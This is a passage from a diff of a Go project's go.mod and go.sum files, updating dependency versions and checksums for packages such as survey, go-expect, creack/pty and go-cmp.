github.com/rivo/uniseg v0.2.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
github.com/yusufpapurcu/wmi v1.2.2 // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.9 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
|
||||
gopkg.in/yaml.v2 v2.4.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
modernc.org/cc/v3 v3.35.24 // indirect
|
||||
|
||||
@@ -27,7 +27,6 @@ cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4g
|
||||
cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
|
||||
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
|
||||
cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
|
||||
cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
|
||||
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
|
||||
cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
|
||||
cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
|
||||
@@ -39,8 +38,8 @@ cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RX
|
||||
cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
|
||||
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
|
||||
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2 h1:1I4qBrNsHQE+91tQCqVlfrKe9DEL65949d1oKZWVELY=
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0Ttd6q3Vl2fahjk=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6/go.mod h1:4AuI9b7RjAR+G7v9+C4YSlX/YL3K3cWNXgWXOhllqvI=
|
||||
github.com/Azure/azure-sdk-for-go v16.2.1+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
|
||||
github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8=
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
|
||||
@@ -90,8 +89,9 @@ github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb0
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s=
|
||||
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w=
|
||||
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
|
||||
github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
@@ -99,8 +99,6 @@ github.com/PuerkitoBio/purell v1.1.1/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbt
|
||||
github.com/PuerkitoBio/urlesc v0.0.0-20160726150825-5bd2802263f2/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE=
|
||||
github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE=
|
||||
github.com/Shopify/logrus-bugsnag v0.0.0-20171204204709-577dee27f20d/go.mod h1:HI8ITrYtUY+O+ZhtlqUnD8+KwNPOyugEhfP9fdUIaEQ=
|
||||
github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA=
|
||||
github.com/StackExchange/wmi v1.2.1/go.mod h1:rcmrprowKIVzvc+NUiLncP2uuArMWLCbu9SBzvHz7e8=
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab h1:96tkQLYmgypA3W42fvC3UX3EoOP3hQZuT7d98lnnwyc=
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE=
|
||||
github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
|
||||
@@ -115,10 +113,7 @@ github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRF
|
||||
github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
|
||||
github.com/alexflint/go-filemutex v0.0.0-20171022225611-72bdc8eae2ae/go.mod h1:CgnQgUtFrFz9mxFNtED3jI5tLDjKlOM+oUF/sTk6ps0=
|
||||
github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
|
||||
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
|
||||
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
|
||||
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
|
||||
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
|
||||
github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
@@ -131,7 +126,6 @@ github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+Ce
|
||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
||||
github.com/bitly/go-simplejson v0.5.0/go.mod h1:cXHtHw4XUPsvGaxgjIAn8PhEWG9NfngEKAMDJEczWVA=
|
||||
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
|
||||
github.com/blang/semver v3.5.0+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
|
||||
github.com/blang/semver v3.5.1+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
|
||||
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
|
||||
@@ -147,8 +141,8 @@ github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA
|
||||
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
|
||||
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/checkpoint-restore/go-criu/v4 v4.1.0/go.mod h1:xUQBLp4RLc5zJtWY++yjOoMoB5lihDt7fai+75m+rGw=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5/go.mod h1:X1L61/+36nz9bjIsrDU52qHKOQukUQe2Ge+YvGuquCw=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
|
||||
github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
|
||||
@@ -208,7 +202,6 @@ github.com/containernetworking/plugins v0.8.7/go.mod h1:R7lXeZaBzpfqapcAbHRW8/CY
|
||||
github.com/containers/ocicrypt v1.0.3/go.mod h1:CUBa+8MRNL/VkpxYIpaMtgn1WgXGyvPQj8jcy0EVG6g=
|
||||
github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
|
||||
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
|
||||
github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
|
||||
github.com/coreos/go-iptables v0.4.5/go.mod h1:/mVI274lEDI2ns62jHCDnCyBF9Iwsmekav8Dbxlm1MU=
|
||||
github.com/coreos/go-iptables v0.5.0/go.mod h1:/mVI274lEDI2ns62jHCDnCyBF9Iwsmekav8Dbxlm1MU=
|
||||
github.com/coreos/go-oidc v2.1.0+incompatible/go.mod h1:CgnwVTmzoESiwO9qyAFEMiHoZ1nMCKZlZ9V6mm3/LKc=
|
||||
@@ -224,8 +217,10 @@ github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfc
|
||||
github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||
github.com/creack/pty v1.1.7 h1:6pwm8kMQKCmgUg0ZHTm5+/YvRK0s3THD/28+T6/kk4A=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
|
||||
github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI=
|
||||
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/cyphar/filepath-securejoin v0.2.2/go.mod h1:FpkQEhXnPnOthhzymB7CGsFk2G9VLXONKD9G7QGMM+4=
|
||||
github.com/d2g/dhcp4 v0.0.0-20170904100407-a1d1b6c41b1c/go.mod h1:Ct2BUK8SB0YC1SMSibvLzxjeJLnrYEVLULFNiHY9YfQ=
|
||||
github.com/d2g/dhcp4client v1.0.0/go.mod h1:j0hNfjhrt2SxUOw55nL0ATM/z4Yt3t2Kd1mW34z5W5s=
|
||||
@@ -288,9 +283,9 @@ github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI
|
||||
github.com/form3tech-oss/jwt-go v3.2.2+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=
|
||||
github.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k=
|
||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||
github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=
|
||||
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
|
||||
github.com/fullsailor/pkcs7 v0.0.0-20190404230743-d7302db945fa/go.mod h1:KnogPXtdwXqoenmZCw6S+25EAm2MkxbG0deNDu4cbSA=
|
||||
github.com/fzipp/gocyclo v0.3.1/go.mod h1:DJHO6AUmbdqj2ET4Z9iArSuwWgYDRryYt2wASxc7x3E=
|
||||
github.com/garyburd/redigo v0.0.0-20150301180006-535138d7bcd7/go.mod h1:NR3MbYisc3/PwhQ00EMzDiPmrwpPxAn5GI05/YaO1SY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
@@ -308,7 +303,6 @@ github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V
|
||||
github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
|
||||
github.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas=
|
||||
github.com/go-logr/logr v0.2.0/go.mod h1:z6/tIYblkpsD+a4lm/fGIIU9mZ+XfAiaFtq7xTgseGU=
|
||||
github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
|
||||
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
github.com/go-openapi/jsonpointer v0.0.0-20160704185906-46af16f9f7b1/go.mod h1:+35s3my2LFTysnkMfxsJBAMHj/DoqoB9knIWoYG/Vk0=
|
||||
@@ -336,8 +330,9 @@ github.com/godbus/dbus v0.0.0-20180201030542-885f9cc04c9c/go.mod h1:/YcGZj5zSblf
|
||||
github.com/godbus/dbus v0.0.0-20190422162347-ade71ed3457e/go.mod h1:bBOAhwG1umN6/6ZUMtDFBMQR8jRg9O75tm9K00oMsK4=
|
||||
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||
github.com/gofrs/flock v0.8.0/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14jxHU=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.3.0+incompatible h1:CaSVZxm5B+7o45rtab4jC2G37WGYX1zQfuU2i6DSvnc=
|
||||
github.com/gofrs/uuid v4.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gogo/googleapis v1.2.0/go.mod h1:Njal3psf3qN6dwBtQfUmBZh2ybovJ0tlu3o/AC7HYjU=
|
||||
github.com/gogo/googleapis v1.4.1/go.mod h1:2lpHqI5OcWCtVElxXnPt+s8oJvMpySlOyM6xDCrzib4=
|
||||
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
|
||||
@@ -394,8 +389,9 @@ github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/
|
||||
github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.7 h1:81/ik6ipDQS2aGcBfIN5dHDB36BwrStyeAQquSYCV4o=
|
||||
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
|
||||
github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=
|
||||
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/go-github/v32 v32.1.0/go.mod h1:rIEpZD9CTDQwDK9GDrtMTycQNA4JU3qBsCizh3q2WCI=
|
||||
github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
|
||||
github.com/google/gofuzz v0.0.0-20161122191042-44d81051d367/go.mod h1:HP5RmnzzSNb993RKQDq4+1A4ia9nllfqcQFTQJedwGI=
|
||||
@@ -440,40 +436,26 @@ github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/ad
|
||||
github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.0.1-0.20190118093823-f849b5445de4/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2 h1:FlFbCRLd5Jr4iYXZufAvgWN6Ao0JrI5chLINnUXDDr0=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2/go.mod h1:EaizFBKfUKtMIF5iaDEhniwNedqGo9FuLFzppDr3uwI=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y=
|
||||
github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk=
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
|
||||
github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
|
||||
github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
|
||||
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
|
||||
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
|
||||
github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
|
||||
github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
|
||||
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
|
||||
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
|
||||
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
|
||||
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
|
||||
github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
|
||||
github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
|
||||
github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
|
||||
github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
|
||||
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
|
||||
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
|
||||
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
|
||||
github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
|
||||
github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
|
||||
github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
|
||||
github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
|
||||
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c h1:kp3AxgXgDOmIJFR7bIwqFhwJ2qWar8tEQSE5XXhCfVk=
|
||||
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
|
||||
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
|
||||
github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
|
||||
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
|
||||
@@ -535,8 +517,8 @@ github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0f
|
||||
github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.3.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4 h1:wdaj2KHD2W+mz8JgJ/Q6L/T5dB7kyqEFI16eLq7GEmk=
|
||||
